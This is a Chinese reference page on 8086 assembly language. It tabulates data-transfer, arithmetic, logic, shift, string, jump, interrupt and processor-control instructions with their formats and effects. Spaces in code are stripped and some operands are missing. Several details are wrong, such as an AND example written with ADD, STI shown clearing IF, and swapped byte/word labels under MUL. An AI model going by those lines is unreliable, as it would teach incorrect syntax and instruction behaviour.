随着现代软件系统越来越庞大复杂,大量经过了封装的高级语言如C/C++,Pascal/ObjectPascal也应运而生。这些新的语言使得程序员在开发过程中能够更简单,更有效率,使软件开发人员得以应付快速的软件开发的要求。而汇编语言由于其复杂性使得其适用领域逐步减小。但这并不意味着汇编已无用武之地。由于汇编更接近机器语言,能够直接对硬件进行操作,生成的程序与其他的语言相比具有更高的运行速度,占用更小的内存,因此在一些对于时效性要求很高的程序、许多大型程序的核心模块以及工业控制方面大量应用。
此外,虽然有众多编程语言可供选择,但汇编依然是各大学计算机科学类专业学生的必修课,以让学生深入了解计算机的运行原理。
5 常用命令 编辑
数据传送指令
一通用数据传送指令
指令 英文全拼 翻译
MOV Move 传送
PUSH Pushontothestack 进栈
POP Popfromthestack 出栈
XCHG Exchange 交换
MOV指令为双操作数指令,两个操作数中不能全为内存操作数
格式:MOVDST,SRC
执行操作:dst=src
注:1.目的数可以是通用寄存器,存储单元和段寄存器(但不允许用CS段寄存器).
2.立即数不能直接送段寄存器
3.不允许在两个存储单元直接传送数据
4.不允许在两个段寄存器间直接传送信息
PUSH入栈指令及POP出栈指令:
堆栈操作是以“后进先出”的方式进行数据操作。
格式:PUSHSRC//Word
执行操作:(SP)<-(SP)-2
((SP)+1,(SP))<-(SRC)
注:1.入栈的操作数除不允许用立即数外,可以为通用寄存器,段寄存器(全部)和存储器。
2.入栈时高位字节先入栈,低位字节后入栈。
格式:POPDST//Word
执行操作:(DST)<-((SP+1),(SP))
(SP)<-(SP)+2
注:1.出栈操作数除不允许用立即数和CS段寄存器外,可以为通用寄存器,段寄存器和存储器。
2.执行POPSS指令后,堆栈区在存储区的位置要改变。
3.执行POPSP指令后,栈顶的位置要改变。
XCHG(eXCHanG)交换指令:
将两操作数值交换。
格式:XCHGOPR1,OPR2//Byte/Word
执行的操作:(OPR1)<-->(OPR2)
注:1.必须有一个操作数是在寄存器中
2.不能与段寄存器交换数据
存储器与存储器之间不能交换数据。
二累加器专用传送指令
指令 英文全拼 翻译
IN Input 输入
OUT Output 输出
XLAT Translate 换码
IN输入指令
长格式为:INAL,PORT(字节)
INAX,PORT(字)
执行的操作:(AL)<-(PORT)(字节)
(AX)<-(PORT+1,PORT)(字)
短格式为:INAL,DX(字节)
INAX,DX(字)
OUT输出指令
长格式为:OUTPORT,AL(字节)
OUTPORT,AX(字)
执行的操作:(PORT)<-(AL)(字节)
(PORT+1,PORT)<-(AX)(字)
短格式为:OUTDX,AL(字节)
OUTDX,AX(字)
执行的操作:((DX))<-(AL)(字节)
((DX)+1,(DX))<-AX(字)
XLAT(TRANSLATE)换码指令:
把一种代码转换为另一种代码。
格式:XLAT(OPR可选)//Byte
执行操作:(AL)<-((BX)+(AL))
注:指令执行时只使用预先已存入BX中的表格首地址,执行后,AL中内容则是所要转换的代码。
三有效地址送寄存器指令
指令 英文全拼 翻译
LEA Loadeffectiveaddress 有效地址送寄存器
LDS LoadDSwithPointer 指针送寄存器和DS
LES LoadESwithPointer 指针送寄存器和ES
LEA(LoadEffectiveAddress):
有效地址传送寄存器指令
格式:LEAREG,SRC//指令把源操作数SRC的有效地址送到指定的寄存器中。
执行操作:(REG)<-SRC
注:1.SRC只能是各种寻址方式的存储器操作数,REG只能是16位寄存器
2.MOVBX,OFFSETOPER_ONE等价于LEABX,OPER_ONE
3.MOVSP,//将BX间接寻址的相继的二个存储单元的内容送入SP中
4.LEASP,//将BX的内容作为存储器有效地址送入SP中
LDS(LoadDSwithpointer):
指针送寄存器和DS指令
格式:LDSREG,SRC//常指定SI寄存器。
执行的操作:(REG)<-(SRC)
(DS)<-(SRC+2)
注:把源操作数指定的4个相继字节送到由指令指定的寄存器及DS寄存器中。该指令常指定SI寄存器。
LES(LoadESwithpointer)指针送寄存器和ES指令
格式:LESREG,SRC//常指定DI寄存器
执行的操作:(REG)<-(SRC)
(ES)<-(SRC+2)//与LDS大致相同,不同之处是将ES代替DS而已。
注:把源操作数指定的4个相继字节送到由指令指定的寄存器及ES寄存器中。该指令常指定DI寄存器。
四标志寄存器传送指令
指令 英文全拼 翻译
LAHF LoadAHwithflags 标志送AH
SAHF storeAHintoflags AH送标志寄存器
PUSHF pushtheflags 标志进栈
POPF poptheflags 标志出栈
LAHF(LoadAHwithFlags)
标志位送AH指令
格式:LAHF......
执行操作:(AH)<-(PWS的低字节)
注:将PSW寄存器中的低8位的状态标志(条件码)送入AH的相应位,SF送D7位,ZF送D6位
SAHF(StoreAHintoFlags)
AH送标志寄存器指令
格式:SAHF
执行操作:(PWS的低字节)<-(AH)
注:将AH寄存器的相应位送到PSW寄存器的低8位的相应位,AH的D7位送SF,D6位送ZF。
PUSHF(PUSHtheFlags)
标志进栈指令
格式:PUSHF
执行操作:(SP)<-(SP)-2
SP=SP-1,(SP)=PSW的高8位,SP=SP-1,(SP)=PSW的低8位
注:将标志寄存器的值压入堆栈顶部,同时栈指针SP值减2
POPF(POPtheFlags)
标志出栈指令
格式:POPF
执行操作:(PWS)<-((SP)+1,(SP))
(SP)<-(SP+2)
PSW低8位=(SP),SP=SP+1,PSW高8位=(SP),SP=SP+1
注:与PUSHF相反,从堆栈的顶部弹出两个字节送到PSW寄存器中,同时堆栈指针值加2
算术指令
一加法指令
指令 英文全拼 翻译
ADD add 加法
ADC addwithcarry 带进位加法
INC increment 加1
ADD(ADD)加法指令
格式:ADDDST,SRC//Byte/Word
执行操作:(DST)<-(SRC)+(DST)
注:1.两个存储器操作数不能通过ADD指令直接相加,即DST和SRC必须有一个是通用寄存器操作数。
2.段寄存器不能作为SRC和DST.
3.影响标志位AuxiliaryCrrayFlag,CarryFlag,OverflowFlag,ParityFlag,SignFlag和ZeroFlag,如下所示:
CF根据最高有效位是否有进(借)位设置的:有进(借)位时CF=1,无进(借)位时CF=0.
OF根据操作数的符号及其变化来设置的:若两个操作数的符号相同,而结果的符号与之相反时OF=1,否则为0.
ZF根据结果来设置:不等于0时ZF=0,等于0时ZF=1
SF根据结果的最高位来设置:最高位为0,则SF=0.
AF根据相加时D3是否向D4进(借)位来设置:有进(借)位时AF=1,无进(借)位时AF=0
PF根据结果的1的个数时否为奇数来设置:1的个数为奇数时PF=0,为偶数时PF=1
ADC(ADdwithCarry)带进位加法指令
格式:ADCDST,SRC//Byte/Word
执行操作:(DST)<-(SRC)+(DST)+CF
注:与ADD不同之处是还要加上进位标志位的值。
INC(INCrement)加1指令
格式:INCOPR//Byte/Word
执行操作:(OPR)<-(OPR)+1
注:1.OPR可以是寄存器和存储器操作数,但不能是立即数和段寄存器
2.影响标志位OF,SF,ZF,PF和AF,不影响CF.
二减法指令
指令 英文全拼 翻译
SUB subtract 减法
SBB subtractwithborrow 带借位减法
DEC Decrement 减1
NEG Negate 求补
CMP Compare 比较
SUB(SUBtract)不带借位的减法指令
格式:SUBDST,SRC//Byte/Word
执行操作:(DST)<-(DST)-(SRC)
注:1.DST和SRC寻址方式及规定与ADD相同。
2.影响全部标志位。(判断标志位参见ADD)
SBB(SuBtractwithBorrow)带借位减法指令
格式:SBBDST,SRC//Byte/Word
执行操作:(DST)<-(DST)-(SRC)-CF
DEC(DECrement)减1指令
格式:DECOPR//Byte/Word
执行操作:(OPR)<-(OPR)-1//除CF标志位,其余标志位都受影响。
NEG(NEGate)求补指令
格式:NEGOPR
执行操作:(OPR)<--(OPR)//将操作数按位求反后末位加1.
CMP(CoMPare)比较指令
格式:CMPOPR1,OPR2
执行操作:(OPR1)-(OPR2)//与SUB指令一样执行运算,但不保存结果。
注:该指令与SUB指令一样执行减法操作,但不保存结果,只是根据结果设置条件标志。
比较情况 无符号数 有符号数
A=B ZF=1 ZF=1
A>B CF=0&&ZF=0 SF^OF=0&&ZF=0
A<B CF=1&&ZF=0 SF^OF=1&&ZF=0
A>=B CF=0||ZF=1 SF^OF=0||ZF=1
A<=B CF=1||ZF=1 SF^OF=1||ZF=1
三乘法指令
指令 英文全拼 翻译
MUL UnsignedMultiple 无符号数乘法
IMUL SignedMultiple 带符号数乘法
MUL(unsignedMULtiple)无符号数乘法指令
格式:MULSRC//Byte/Word.
执行操作:字操作:(AX)<-(AL)*(SRC)//字节运算时目的操作数用AL,乘积放在AX中
字节操作:(DX,AX)<-(AX)*(SRC)//字运算时目的操作数用AX,DX存放乘积的高位字,AX放乘积的低位字
注:1.目的数必须是累加器AX或AL,指令中不需写出
源操作数SRC可以是通用寄存器和各种寻址方式的存储器操作数,而绝对不允许是立即数或段寄存器。
IMUL(sIgnedMULtiple)有符号数乘法指令
格式:IMULSRC//与MUL指令相同,但必须是带符号数
四除法指令
指令 英文全拼 翻译
DIV Unsigneddivide 无符号数除法
IDIV Signeddivide 带符号数除法
CBW Convertbytetoword 字节转换为字
CWD Contertwordtodoubleword 字转换为双字
DIV(unsignedDIVide)无符号数除法指令
格式:DIVSRC//Byte/Word其中:SRC的规定同乘法指令MUL
执行操作:字节操作:(AL)<-(AX)/(SRC)的商
(AH)<-(AX)/(SRC)的余数
字操作:(AX)<-(DX,AX)/(SRC)的商
(DX)<-(DX,AX)/(SRC)的余数
注:存储器操作数必须指明数据类型:BYTEPTRsrc或WORDPTRsrc
IDIV(sIgnedDIVied)有符号数除法指令
格式:IDIVSRC
执行的操作:与DIV相同,但操作数必须是带符号数,商和余数也均为带符号数,且余数的符号与被除数的符号相同。
CBW(ConvertBytetoWord)字节转换为字指令
格式:CBW
执行操作:AL中的符号位(D7)扩展到8位AH中,若AL中的D7=0,则AH=00H,若AL中的D7=1,则AH=FFH.
CWD(ConvertWordtoDoubleword)字转换为双字指令
格式:CWD
执行操作:AX中的符号位(D15)扩展到16位DX中,若AX中的D15=0,则DX=0000H,若AX中的D15=1,则DX=FFFFH
注:这两条指令都不影响条件码。
逻辑指令
一逻辑运算指令
指令 英文全拼 翻译
AND and 逻辑与
OR or 逻辑或
NOT not 逻辑非
XOR exclusiveor 异或
TEST test 测试
AND,OR,XOR和TEST都是双字节操作指令,操作数的寻址方式的规定与算术运算指令相同。
NOT是单字节操作指令,不允许使用立即数。
逻辑运算均是按位进行操作,真值表如下:
AND(位与&) OR(位或|) XOR(位异或^)
1&1=1 1|1=1 1^1=0
1&0=0 1|0=1 1^0=1
0&1=0 0|1=1 0^1=1
0&0=0 0|0=0 0^0=0
AND(and)逻辑与指令
格式:ANDDST,SRC//Byte/Word
执行操作:(DST)<-(DST)^(SRC)
注:1.AND指令执行后,将使CF=0,OF=0,AF位无定义,指令执行结果影响SF,ZF和PF标志位。
2.AND指令典型用法A:用于屏蔽某些位,即使某些位为0.
例子:屏蔽AL的高4位:即将高4位和0000B相与,低4位和1111B相与
MOVAL,39H//AL=00111001B
ADDAL,0FH//AL=00001001B即00111001B&00001111B=00001001B
AND指令典型用法B:取出某一位的值(见TEST)
OR(or)逻辑或指令
格式:ORDST,SRC//Byte/Word
执行操作:(DST)<-(DST)|(SRC)
注:1.OR指令执行后,将使CF=0,OF=0,AF位无定义,指令执行结果影响SF,ZF和PF标志位。
2.常用于将某些位置1.
例子:将AL的第5位置1:
MOVAL,4AH//AL=01001010B
ORAL,10H//AL=01011010B即01001010B|00010000B=01011010B
XOR(eXclusiveOR)逻辑异或指令
格式:XORDST,SRC//Byte/Word
执行操作:(DST)<-(DST)^(SRC)
注:1.XOR指令常用于使某个操作数清零,同时使CF=0,清除进位标志。
2.XOR指令使某些位维持不变则与'0'相异或,若要使某些位取反则与'1'相异或。
例子:将AL的高4位维持不变,低4位取反:
MOVAL,B8H//AL=10111000B
XORAL,0FH//AL=10110111B即10111000B^00001111=10110111B
例子:测试某一个操作数是否与另一确定操作数相等:
XORAX,042EH
JZ....//如果AX==042EH,则ZF=TRUE(1),执行JZ...
NOT(not)逻辑非指令
格式:NOTOPR//Byte/Word
执行操作:(OPR)<~(OPR)//~01100101=10011010
1.操作数不能使用立即数或段寄存器操作数,可使用通用寄存器和各种方式寻址的存储器操作数。
2.NOT指令不影响任何标志位。
例子:将AL各位取反:
MOVAL,65H//AL=01100101B
NOTAL//AL=10011010B即~01100101B=10011010B
TEST(test)指令
格式:TESTOPR1,OPR2//Byte/Word
执行操作:opr1&opr2
注:1.两个操作数相与的结果不保存,结果影响标志位PF,SF和ZF,使CF=0,OF=0,而AF位无定义。
2.TEST指令常用于在不改变原有的操作数的情况下,检测某一位或某几位的条件是否满足。只要令用来测试的操作数对应检测位为1,其余位为0,相与后判断零标志ZF值的真假。
例:检测某位是否为1:
令用来测试的操作数对应检测位为1,其余位为0,TEST指令后,若该位为1则JNZ...
TESTAL,000000001B//测试AL最低位是否为1::令用来测试的操作数对应检测位为1,其余位为0,执行TEST指令
JNZTHER//最低位若为1,则ZF=FALSE(0),执行JNZTHER,否则执行下一条指令。
或者:先对操作数求反,若该位为1则JZ...
MOVDL,AL//将AL传送到DL,主要是不要影响AL的值。以下测试AL的b2位是否为1
NOTDL//先对操作数求反
TEST00000100B//令用来测试的操作数对应检测位为1,其余位为0,执行TEST指令
JZTHER//若AL的b2位为1,则ZF=TRUE(1),执行JZTHER
B:移位指令
非循环逻辑移位:把操作数看成无符数来进行移位。
移位指令
指令 英文全拼 翻译
SHL shiftlogicalleft 逻辑左移
SAL shiftarithmeticleft 算术左移
SHR shiftlogicalright 逻辑右移
SAR shiftarithmeticright 算术右移
ROL Rotateleft 循环左移
ROR Rotateright 循环右移
RCL Rotateleftthroughcarry 带进位循环左移
RCR Rotaterightthroughcarry 带进位循环右移
SHL(SHiftlogicalLeft)逻辑左移指令
格式:SHLOPR,CNT//Byte/Word
执行操作:使OPR左移CNT位,并使最低CNT位为全0.
1.OPR操作数不能使用立即数或段寄存器操作数,可使用通用寄存器和各种方式寻址的存储器操作数。
2.移位次数由CNT决定。每次将OPR的最高位移出并移到CF,最低位补0.
MOVCL,7//若移位多次,先预置移位次数CL
SHLDX,CL//CNT可取1或CL寄存器操作数
SHR(SHiftlogicalRight)逻辑右移指令
格式:SHROPR,CNT//Byte/Word
执行操作:同SHL,每次将OPR的最低位D0移出并移到CF.最高位补0.
非循环算术移位:将操作数看成有符号数来进行移位。
SAL(ShiftArithmeticLeft)算术左移指令
格式:SALOPR,CNT//Byte/Word
执行操作:SAL指令与SHL指令完全相同
SAR(ShiftArithmeticRight)算术右移指令
格式:SAROPR,CNT//Byte/Word
执行操作:SAR指令每次移位时,将最高位移入次高位的同时最高位值不变,最低位D0移出并移到CF.
循环移位指令
ROL(ROtateLeft)循环左移指令
格式:ROLOPR,CNT//Byte/Word
执行操作:每次移位时,最高位移出并同时移到CF和最低位D0.
ROR(ROtateRight)循环右移指令
格式:ROROPR,CNT//Byte/Word
执行操作:每次移位时,最低位D0移出并同时移到CF和最高位。
带进位循环移位指令
RCL(RotateLeftthroughCarry)带进位循环左移指令
格式:RCLOPR,CNT//Byte/Word
RCR(RotateRightthroughCarry)带进位循环右移指令
格式:RCROPR,CNT//Byte/Word
串处理指令
一与REP相配合工作的MOVS,STOS和LODS指令
指令 英文全拼 翻译
REP repeat 重复操作
MOVS MOVeString 串传送指令
STOS STOreintoString 存入串指令
LODS LOaDfromString 从串取指令
CLD Cleardirectionflag 使地址自动增量
STD Setdirectionflag 使地址自动减量
REP(REPeat)重复操作前缀
格式:REPStringPrimitive
执行的操作:
1)如(CX)=0则退出REP,否则往下执行。
2)(CX)<-(CX)-1
3)执行其中的串操作
4)重复1)~3)
注:其中StringPrimitive可为MOVS,LODS或STOS指令
.MOVS串传送指令
格式:MOVSES:BYTEPTR,DS:
可有三种
MOVSDST,SRC
MOVSB//字节串传送DF=0,SI=SI+1,DI=DI+1;DF=1,SI=SI-1,DI=DI
MOVSW//字串传送DF=0,SI=SI+2,DI=DI+2;DF=1,SI=SI-2,DI=DI-2
MOVSD//双字串传送DF=0,SI=SI+4,DI=DI+4;DF=1,SI=SI-4,DI=DI-4
MOVSX//符号传送
MOVZX//零传送
执行的操作:
1)如(CX)=0则退出REP,否则往下执行。
2)(CX)<-(CX)-1
3)执行其中的串操作
4)重复1)~3)
.MOVS串传送指令
注:当方向标志DF=1时用,其中第二、三种格式明确地注明是传送字节或字,第一种格式则应在操作数中表明是字还是字节操作,例如:
1)((DI))<-((SI))
2)字节操作:(SI)<-(SI)+(或-)1,(DI)<-(DI)+(或-)1//当方向标志DF=0时用
3)字操作:(SI)<-(SI)+(或-)2,(DI)<-(DI)+(或-)2当方向标志DF=0时用//当方向标志DF=1时用-
该指令不影响条件码。
STOS(STOreintoString)存入串指令
格式:STOSDST
STOSB//存放字节串(DI)=AL
STOSW//存放字串(DI)=AX
执行操作:把AL或AX中的内容存放由DI指定的附加段的字节或字单元中,并根据DF值修改及数据类型修改DI的内容。
字节操作:((DT))←(AL),(DI)←(DI)±1
字操作:((DI))←(AX),(DI)←(DI)±2
注:1.在执行该指令之前,必须把要存入的数据预先存入AX或AL中,必须预置DI的初值。
2.DI所指向的存储单元只能在附加段中,即必须是ES:
3.该指令把AL或AX的内容存入由(DI)指定的附加段的某单元中,并根据DF的值及数据类型修改DI的内容,当它与REP联用时,可把AL或AX的内容存入一个长度为(CX)的缓冲区中。
LODS(LOaDfromString)从串取指令
格式:LODSSRC
LODSB//从字节串取AL=(SI)
LODSW//从字串取AX=(SI±1)(SI)
执行操作:字节操作:(AL)<-((SI)),(SI)<-(SI)+-1
字操作:(AX)<-((SI)),(SI)<-(SI)+-2
把由SI指定的数据段中字节或字单元的内容送入AL或AX中,并根据DF值及数据类型修改SI的内容。
注:1.在执行该指令之前,要取的数据必须在存储器中预先定义(用DB或DW),必须预置SI的初值。
2.源串允许使用段超越前缀来改变数据存储的段区。
3.该指令把由(SI)指定的数据段中某单元的内容送到AL或AX中,并根据方向标志及数据类型修改SI的内容。指令允许使用段跨越前缀来指定非数据段的存储区。该指令也不影响条件码。
4.一般说来,该指令不和REP联用。有时缓冲区中的一串字符需要逐次取出来测试时,可使用本指令。
CLD(CLearDirectionflag)清除方向标志指令
格式:CLD
执行操作:令DF=0,其后,执行增量操作
该指令使DF=0,在执行串操作指令时可使地址自动增量
STD(SeTDirectionflag)设置方向标志指令
格式:STD
执行操作:令DF=1,其后,执行减量操作
该指令使DF=1,在执行串操作指令时可使地址自动减量。
二与REPE/REPZ和REPNZ/REPNE联合工作的CMPS和SCAS指令
指令 英文全拼 翻译
REPE/REPZ RepeatEqualtoZero 等于零时重复操作
REPNE/REPNZ RepeatNotEqualtoZero 不等于零时重复操作
CMPS CoMPareString 串比较指令
SCAS SCAnString 串扫描指令
.REPE/REPZ当相等/为零时重复串操作
格式:REPE(或REPZ)StringPrimitive
其中StringPrimitive可为CMPS或SCAS指令。
执行的操作:
1)如(CX)=0或ZF=0(即某次比较的结果两个操作数不等)时退出,否则往下执行
2)(CX)<-(CX)-1
3)执行其后的串指令
4)重复1)~3)
.REPNE/REPNZ当不相等/不为零时重复串操作
格式:REPNE(或REPNZ)StringPrimitive
执行的操作:
除退出条件(CX=0)或ZF=1外,其他操作与REPE完全相同。
CMPS(CoMPareString)串比较指令
格式:CMPSSRC,DST
CMPSB//字节串比较(SI)-(DI)
CMPSW//字串比较(SI+1)(SI)-(DI+1)(DI)
执行操作:把由SI指向的数据段中的一个字节或字与由DI指向的附加段中的一个字节或字相减,不保留结果,只根据结果置标志位。
1)((SI))-((DI))
2)字节操作:(SI)<-(SI)+-1,(DI)<-(DI)+-1
字操作:(SI)<-(SI)+-2,(DI)<-(DI)+-2
注:指令把由(SI)指向的数据段中的一个字(或字节)与由(DI)指向的附加段中的一个字(或字节)相减,但不保存结果,只根据结果设置条件码,指令的其它特性和MOVS指令的规定相同。
.SCAS(SCAnString)串扫描指令
格式:SCASDST
SCASB
SCASW
执行操作:把AX或AL的内容与由DI指向的在附加段中的一个字节或字相减,不保留结果,根据结果置标志位。
字节操作:(AL)-((DI)),(DI)<-(DI)+-1
字操作:(AL)-((DI)),(DI)<-(DI)+-2
注:该指令把AL(或AX)的内容与由(DI)指定的在附加段中的一个字节(或字)进行比较,并不保存结果,只根据结果置条件码。指令的其他特性和MOVS的规定相同。
控制转移指令
一JMP(JuMP)无条件转移指令
名称 格式 执行操作
段内直接短跳转 JMPSHORTOPR IP=IP+8位偏移量
段内直接近转移 JMPNEARPTROPR IP=IP+16位偏移量
段内间接转移 JMPWORDPTROPR IP=(EA)
段间直接转移 JMPFARPTROPR IP=OPR偏移地址,CS=OPR段地址
段间间接转移 JMPDWORDPTROPR IP=(EA),CS=(EA+2)
1)段内直接短转移
格式:JMPSHORTOPR
执行的操作:(IP)<-(IP)+8位位移量
2)段内直接近转移
格式:JMPNEARPTROPR
执行的操作:(IP)<-(IP)+16位位移量
3)段内间接转移
格式:JMPWORDPTROPR
执行的操作:(IP)<-(EA)
4)段间直接(远)转移
格式:JMPFARPTROPR
执行的操作:(IP)<-OPR的段内偏移地址
(CS)<-OPR所在段的段地址
5)段间间接转移
格式:JMPDWORDPTROPR
执行的操作:(IP)<-(EA)
(CS)<-(EA+2)
1.无条件转移到指定的地址去执行从该地址开始的指令。
2.段内转移是指在同一代码段的范围内进行转移,只需改变IP寄存器内容。
3.段间转移则要转移到另一个代码段执行程序,此时要改变IP寄存器和CS段寄存器的内容。
二条件转移指令:
指令 英文全拼 翻译
JZ/JE Jumpifzero,orequal 结果为零(或相等)则转移
JNZ/JNE Jumpifnotzero,ornotequal 结果不为零(或不相等)则转移
JS Jumpifsign 结果为负则转移
JNS Jumpifnotsign 结果为正则转移
JO Jumpifoverflow 溢出则转移
JNO Jumpifnotoverflow 不溢出则转移
JP/JPE Jumpifparity,orparityeven 奇偶位为1则转移
JNP/JPO Jumpifnotparity,orparityodd 奇偶位为0则转移
JB/JNAE/JC Jumpifbelow,ornotaboveorequal,orcarry 低于,或者不高于或等于,或进位位为1则转移
JNB/JAE/JNC Jumpifnotbelow,oraboveorequal,ornotcarry 不低于,或者高于或者等于,或进位位为0则转移
根据上一条指令所设置的条件码(标志位)来判断测试条件。
JZ(或JE)(Jumpifzero,orequal)结果为零(或相等)则转移
格式:JE(或JZ)OPR
测试条件:ZF=1
.JNZ(或JNE)(Jumpifnotzero,ornotequal)结果不为零(或不相等)则转移
格式:JNZ(或JNE)OPR
测试条件:ZF=0
.JS(Jumpifsign)结果为负则转移
格式:JSOPR
测试条件:SF=1
.JNS(Jumpifnotsign)结果为正则转移
格式:JNSOPR
测试条件:SF=0
.JO(Jumpifoverflow)溢出则转移
格式:JOOPR
测试条件:OF=1
.JNO(Jumpifnotoverflow)不溢出则转移
格式:JNOOPR
测试条件:OF=0
.JP(或JPE)(Jumpifparity,orparityeven)奇偶位为1则转移
格式:JPOPR
测试条件:PF=1
.JNP(或JPO)(Jumpifnotparity,orparityodd)奇偶位为0则转移
格式:JNP(或JPO)OPR
测试条件:PF=0
.JB(或JNAE,JC)(Jumpifbelow,ornotaboveorequal,orcarry)低于,或者不高于或等于,或进位位为1则转移
格式:JB(或JNAE,JC)OPR
测试条件:CF=1
.JNB(或JAE,JNC)(Jumpifnotbelow,oraboveorequal,ornotcarry)不低于,或者高于或者等于,或进位位为0则转移
格式:JNB(或JAE,JNC)OPR
测试条件:CF=0
2)比较两个无符号数,并根据比较的结果转移
.JB(或JNAE,JC)
格式:同上
.JNB(或JAE,JNC)
格式:同上
.JBE(或JNA)(Jumpifbeloworequal,ornotabove)低于或等于,或不高于则转移
格式:JBE(或JNA)OPR
测试条件:CFVZF=1
.JNBE(或JA)(Jumpifnotbeloworequal,orabove)不低于或等于,或者高于则转移
格式:JNBE(或JA)OPR
测试条件:CFVZF=0
根据五个标志位:ZF、SF、OF、PF、CF的两种状态(0FALSE或1TRUE)产生10种测试条件。
名称 简写 格式 Flag==TRUE Flag==FALSE
ZeroFalg ZF JE/JZOPR 结果为零转移JNE/JNZOPR 结果不为零转移
SignFalg SF JSOPR 结果为负转移JNSOPR 结果为正转移
OverflowFlag OF JOOPR 溢出转移JNOOPR 不溢出转移
ParityFlag PF JP/JPEOPR 结果为偶转移JNP/JPOOPR 结果为奇转移
CarryFlag CF JCOPR 有进位转移JNCOPR 无进位转移
情况 指令 满足条件 指令 满足条件
A<B JC CF==1 JL SF^OF==1&&ZF==0
A≥B JNC CF==0 JNL SF^OF==0||ZF==1
A≤B JNA CF==1||ZF==1 JLG SF^OF==1||ZF==1
A>B JA CF==0&&ZF==0 JG SF^OF==0&&ZF==0
三比较两个无符号数,并根据比较的结果转移
指令 英文全拼 翻译
JB/JNAE/JC Jumpifless,ornotgreaterorequal 小于,或者不大于或者等于则转移
JNB/JAE/JNC Jumpifnotless,orgreaterorequal 不小于,或者大于或者等于则转移
JBE/JNA Jumpifbeloworequal,ornotabove 低于或等于,或不高于则转移
JNBE/JA Jumpifnotbeloworequal,orabove 不低于或等于,或者高于则转移
.JB(或JNAE,JC)
格式:同上
.JNB(或JAE,JNC)
格式:同上
.JBE(或JNA)(Jumpifbeloworequal,ornotabove)低于或等于,或不高于则转移
格式:JBE(或JNA)OPR
测试条件:CFVZF=1
.JNBE(或JA)(Jumpifnotbeloworequal,orabove)不低于或等于,或者高于则转移
格式:JNBE(或JA)OPR
测试条件:CFVZF=0
四比较两个带符号数,并根据比较的结果转移
指令 英文全拼 翻译
JL/LNGE Jumpifless,ornotgreaterorequal 小于,或者不大于或者等于则转移
JNL/JGE Jumpifnotless,orgreaterorequal 不小于,或者大于或者等于则转移
JLE/JNG Jumpiflessorequal,ornotgreater 小于或等于,或者不大于则转移
JNLE/JG Jumpifnotlessorequal,orgreater 不小于或等于,或者大于则转移
.JL(或LNGE)(Jumpifless,ornotgreaterorequal)小于,或者不大于或者等于则转移
格式:JL(或JNGE)OPR
测试条件:SFVOF=1
.JNL(或JGE)(Jumpifnotless,orgreaterorequal)不小于,或者大于或者等于则转移
格式:JNL(或JGE)OPR
测试条件:SFVOF=0
.JLE(或JNG)(Jumpiflessorequal,ornotgreater)小于或等于,或者不大于则转移
格式:JLE(或JNG)OPR
测试条件:(SFVOF)VZF=1
.JNLE(或JG)(Jumpifnotlessorequal,orgreater)不小于或等于,或者大于则转移
格式:JNLE(或JG)OPR
测试条件:(SFVOF)VZF=0
五测试CX的值为0则转移指令
.JCXZ(JumpifCXregisteriszero)CX寄存器的内容为零则转移
格式:JCXZOPR//CX==0时转移
测试条件:(CX)=0
注:条件转移全为8位短跳!
六循环指令
LOOP(LOOP)循环指令
格式:LOOPOPR
测试条件:CX≠0//OPR在程序中实际是个标号
.LOOPNZ/LOOPNE当不为零或不相等时循环指令
格式:LOOPNZ(或LOOPNE)OPR
测试条件:(CX)<>0且ZF=0
注:这三条指令的步骤是:
1)(CX)<-(CX)-1
2)检查是否满足测试条件,如满足则(IP)<-(IP)+D8的符号扩充。
过程调用及返回指令
CALL(CALL)过程调用指令
格式:CALLDST//DST在程序中实际是子程序标号
执行操作:先将过程的返回地址(即CALL的下一条指令的首地址)存入堆栈,然后转移到过程入口地址执行子程序。
调用方式 格式 断点保护入栈情况 过程入口地址
段内直接 CALLNEARPTRPR1 (SP-1)(SP-2)←IP,CS不进栈CS值保持不变 IP←DST
段内间接 CALLWORDPTR(EA) (SP-1)(SP-2)←IP,CS不进栈CS值保持不变 IP←(EA)
段间直接 CALLFARPTRPR1 (SP-1)(SP-2)←CS,(SP-3)(SP-4)←IP IP←DST偏移地址CS←DST段地址
段间间接 CALLDWORDPTR(EA) (SP-1)(SP-2)←CS,(SP-3)(SP-4)←IP IP←(EA),CS←(EA+2)
注:为了表明是段内调用,可使用NEARPTR属性操作符作说明。
RET(RETurn)子程序返回指令
格式:RET
RETEXP//带立即数返回
注:子程序返回指令RET放在子程序末尾,它使子程序在执行完全部任务后返回主程序继续执行被打断后的程序。返回地址在子程序调用时入栈保存的断点地址-IP或IP和CS.
中断指令
.INT指令
格式:INTTYPE
或INT
执行的操作:(SP)<-(SP)-2
((SP)+1,(SP))<-(PSW)
(SP)<-(SP)-2
((SP)+1,(SP))<-(CS)
(SP)<-(SP)-2
((SP)+1,(SP))<-(IP)
(IP)<-(TYPE*4)
(CS)<-(TYPE*4+2)
.INTO若溢出则中断
执行的操作:若OF=1则:
(SP)<-(SP)-2
((SP)+1,(SP))<-(PSW)
(SP)<-(SP)-2
((SP)+1,(SP))<-(CS)
(SP)<-(SP)-2
((SP)+1,(SP))<-(IP)
(IP)<-(10H)
(CS)<-(12H)
.IRET从中断返回指令
格式:IRET
执行的操作:(IP)<-((SP)+1,(SP))
(SP)<-(SP)+2
(CS)<-((SP)+1,(SP))
(SP)<-(SP)+2
(PSW)<-((SP)+1,(SP))
(SP)<-(SP)+2
处理机控制指令
一标志处理指令
指令 英文全拼 翻译
CLC Clearcarry 进位位置0指令 CF<-0
CMC Complementcarry 进位位求反指令 CF<-CF
STC Setcarry 进位位置1指令 CF<-1
CLD Cleardirection 方向标志置0指令 DF<-0
STD Setdirection 方向标志置1指令 DF<-1
CLI Clearinterrupt 中断标志置0指令 IF<-0
STI Setinterrupt 中断标志置1指令 IF<-0
二其他处理机控制指令
指令 英文全拼 翻译
NOP NoOpreation 无操作
HLT Halt 停机
WAIT Wait 等待
ESC Escape 换码
LOCK Lock 封锁
处理器控制指令
CLC(CLearCarry)进位位置0指令
格式:CLC//执行操作后,CF=0
CMC(CoMplementCarry)进位位求反指令
格式:CMC//执行操作后,CF=!CF
STC(SeTCarry)进位位置1指令
格式:STC//执行操作后,CF=1
HLT(HaLT)停机指令
格式:HLT
执行操作:使机器暂停工作,使处理器CPU处于停机状态,以等待一次外部中断到来,中断结束后,程序继续执行,CPU继续工作。
注:该指令可使机器暂停工作,使处理机处于停机状态以便等待一次外部中断到来,中断结束后可继续执行下面的程序。
NOP(NoOperetion)无操作指令
格式:NOP//此指令不执行任何操作,其机器码占一个字节单元
